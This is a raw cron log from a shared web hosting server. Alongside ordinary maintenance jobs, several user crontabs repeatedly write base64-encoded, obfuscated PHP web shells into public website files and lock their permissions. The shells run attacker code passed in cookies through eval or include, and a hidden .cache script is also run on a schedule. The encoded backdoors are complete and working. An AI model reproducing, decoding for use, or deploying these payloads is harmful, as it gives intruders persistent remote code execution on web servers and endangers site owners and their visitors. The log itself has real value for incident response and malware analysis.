Mar  1 18:56:01 medusa CROND[25707]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:56:01 medusa CROND[25704]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:56:01 medusa CROND[25711]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:56:01 medusa CROND[25699]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:56:01 medusa CROND[25713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:56:01 medusa CROND[25715]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:56:01 medusa CROND[25723]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:57:01 medusa CROND[17868]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:57:01 medusa CROND[17869]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:57:01 medusa CROND[17870]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:57:01 medusa CROND[17871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:57:01 medusa CROND[17872]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:57:01 medusa CROND[17873]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:57:01 medusa CROND[17876]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:57:01 medusa CROND[17880]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:57:01 medusa CROND[17877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:57:01 medusa CROND[17881]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:57:01 medusa CROND[17886]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:57:01 medusa CROND[17888]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:58:02 medusa CROND[10443]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:58:02 medusa CROND[10445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:58:02 medusa CROND[10543]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:58:02 medusa CROND[10546]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:58:02 medusa CROND[10544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 18:58:02 medusa CROND[10547]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
